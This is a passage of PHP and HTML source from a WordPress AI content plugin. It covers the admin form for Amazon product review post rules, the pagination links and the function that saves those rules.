'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Author:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_review_list[post_author][]" class="cr_width_full"> <option value="rand"><?php echo esc_html__("Random user", 'aiomatic-automatic-ai-content-writer');?></option> <?php $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { echo '<option value="' . esc_html($user->ID) . '"'; echo '>' . esc_html($user->display_name) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_review_list[submit_status][]" class="cr_width_full"> <option value="pending"><?php echo esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"><?php echo esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish" selected><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Item Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_review_list[default_type][]" class="cr_width_full"> <?php $is_first = true; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; if($is_first === true) { echo ' selected'; $is_first = false; } echo '>' . esc_html($post_type) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Post Format:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_format" name="aiomatic_review_list[post_format][]" class="cr_width_full"> <option value="post-format-standard" selected><?php echo esc_html__("Standard", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-aside"><?php echo esc_html__("Aside", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-gallery"><?php echo esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-link"><?php echo esc_html__("Link", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-quote"><?php echo esc_html__("Quote", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-status"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-video"><?php echo esc_html__("Video", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-audio"><?php echo esc_html__("Audio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-chat"><?php echo esc_html__("Chat", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" class="cr_width_full" name="aiomatic_review_list[parent_id][]" value="" placeholder="Post parent ID" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Comments For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_comments" name="aiomatic_review_list[enable_comments][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable pingbacks/trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Pingback/Trackback:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_pingback" name="aiomatic_review_list[enable_pingback][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Post Publish Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_review_list[min_time][]" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_review_list[max_time][]" placeholder="End time" class="cr_half"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Fields:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_review_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_review_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Assign WPML/Polylang Language to Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_review_list[wpml_lang][]" value="" placeholder="WPML/Polylang language" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Scheduling Restrictions", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_review_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_review_list[active][]" value="1" checked /> <input type="hidden" name="aiomatic_review_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_review_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div><br/><?php echo sprintf( wp_kses( __( "Check more settings which apply to rule running, over at the plugin's 'Settings' menu, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_admin_settings#tab-17' ) );?> <br/> <?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> <div id="running_status_ai"></div> </div> <div class="wrap"> <h3><?php echo esc_html__("Amazon Product Reviews Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <div id="ai-video-container"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/X_sxxlbdKXU" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </div> <?php } if (isset($_POST['aiomatic_review_list'])) { add_action('admin_init', 'aiomatic_save_rules_review'); } function aiomatic_save_rules_review($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_review_list']; $rules = get_option('aiomatic_review_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['review_keyword'][0])) { for ($i = 0; $i < sizeof($data2['review_keyword']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['review_keyword'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = trim(sanitize_text_field($data2['submit_status'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_type'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_author'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_tags'][$i])); if($i == sizeof($data2['schedule']) - 1) { if(isset($data2['default_category'])) { $bundle[] = $data2['default_category']; } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } $bundle[] = trim(sanitize_text_field($data2['auto_categories'][$i])); $bundle[] = trim(sanitize_text_field($data2['auto_tags'][$i])); $bundle[] = trim(sanitize_text_field($data2['enable_comments'][$i])); $bundle[] = trim($data2['image_url'][$i]); $bundle[] = $data2['review_keyword'][$i]; $bundle[] = trim(sanitize_text_field($data2['enable_pingback'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_format'][$i])); $bundle[] = trim($data2['custom_fields'][$i]); $bundle[] = trim($data2['custom_tax'][$i]); $bundle[] = trim($data2['temperature'][$i]); $bundle[] = trim($data2['top_p'][$i]); $bundle[] = trim($data2['presence_penalty'][$i]); $bundle[] = trim($data2['frequency_penalty'][$i]); $bundle[] = trim($data2['royalty_free'][$i]); $bundle[] = trim($data2['max_tokens'][$i]); $bundle[] = trim($data2['max_seed_tokens'][$i]); $bundle[] = trim($data2['max_continue_tokens'][$i]); $bundle[] = trim($data2['post_prepend'][$i]); $bundle[] = trim($data2['post_append'][$i]); $bundle[] = trim($data2['enable_ai_images'][$i]); $bundle[] = trim($data2['ai_command_image'][$i]); $bundle[] = trim($data2['image_size'][$i]); $bundle[] = trim($data2['wpml_lang'][$i]); $bundle[] = trim($data2['remove_default'][$i]); $bundle[] = trim($data2['strip_title'][$i]); $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['category_model'][$i]); $bundle[] = trim($data2['category_ai_command'][$i]); $bundle[] = trim($data2['tag_model'][$i]); $bundle[] = trim($data2['tag_ai_command'][$i]); $bundle[] = trim($data2['min_time'][$i]); $bundle[] = trim($data2['max_time'][$i]); $bundle[] = trim($data2['skip_spin'][$i]); $bundle[] = trim($data2['skip_translate'][$i]); $bundle[] = trim($data2['affiliate_id'][$i]); $bundle[] = trim($data2['content_language'][$i]); $bundle[] = trim($data2['writing_style'][$i]); $bundle[] = trim($data2['writing_tone'][$i]); $bundle[] = trim($data2['title_prompt'][$i]); $bundle[] = trim($data2['content_prompt'][$i]); $bundle[] = trim($data2['excerpt_prompt'][$i]); $bundle[] = trim($data2['paragraph_count'][$i]); $bundle[] = trim($data2['topic_title_model'][$i]); $bundle[] = trim($data2['topic_content_model'][$i]); $bundle[] = trim($data2['topic_excerpt_model'][$i]); $bundle[] = trim($data2['intro_prompt'][$i]); $bundle[] = trim($data2['topic_intro_model'][$i]); $bundle[] = trim($data2['outro_prompt'][$i]); $bundle[] = trim($data2['topic_outro_model'][$i]); $bundle[] = trim($data2['topic_images'][$i]); $bundle[] = trim($data2['sections_role'][$i]); $bundle[] = trim($data2['topic_videos'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['custom_shortcodes'][$i]); $bundle[] = trim($data2['strip_by_regex'][$i]); $bundle[] = trim($data2['replace_regex'][$i]); $bundle[] = trim($data2['strip_by_regex_prompts'][$i]); $bundle[] = trim($data2['replace_regex_prompts'][$i]); $bundle[] = trim($data2['run_regex_on'][$i]); $bundle[] = trim($data2['max_links'][$i]); $bundle[] = trim($data2['link_post_types'][$i]); $bundle[] = trim($data2['enable_toc'][$i]); $bundle[] = trim($data2['title_toc'][$i]); $bundle[] = trim($data2['qa_prompt'][$i]); $bundle[] = trim($data2['topic_qa_model'][$i]); $bundle[] = trim($data2['enable_qa'][$i]); $bundle[] = trim($data2['title_qa'][$i]); $bundle[] = trim($data2['title_outro'][$i]); $bundle[] = trim($data2['link_type'][$i]); $bundle[] = trim($data2['link_list'][$i]); $bundle[] = trim($data2['skip_inexist'][$i]); $bundle[] = trim($data2['target_country'][$i]); $bundle[] = trim($data2['global_prepend'][$i]); $bundle[] = trim($data2['global_append'][$i]); $bundle[] = trim($data2['search_query_repetition'][$i]); $bundle[] = trim($data2['days_no_run'][$i]); $bundle[] = trim($data2['overwrite_existing'][$i]); $bundle[] = trim($data2['link_nofollow'][$i]); $bundle[] = trim($data2['parent_id'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['point_of_view'][$i]); $bundle[] = trim($data2['sections_prompt'][$i]); $bundle[] = trim($data2['topic_sections_model'][$i]); $bundle[] = trim($data2['post_sections_list'][$i]); $bundle[] = trim($data2['section_count'][$i]); $bundle[] = trim($data2['proscons_prompt'][$i]); $bundle[] = trim($data2['topic_proscons_model'][$i]); $bundle[] = trim($data2['title_proscons'][$i]); $bundle[] = trim($data2['enable_proscons'][$i]); $bundle[] = trim($data2['title_reviews'][$i]); $bundle[] = trim($data2['enable_reviews'][$i]); $bundle[] = trim($data2['reviews_prompt'][$i]); $bundle[] = trim($data2['topic_reviews_model'][$i]); $bundle[] = trim($data2['no_headlink'][$i]); $bundle[] = trim($data2['image_model'][$i]); $bundle[] = isset($data2['assistant_id'][$i]) ? trim($data2['assistant_id'][$i]) : ''; $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_review_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_review() { $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_review_list', 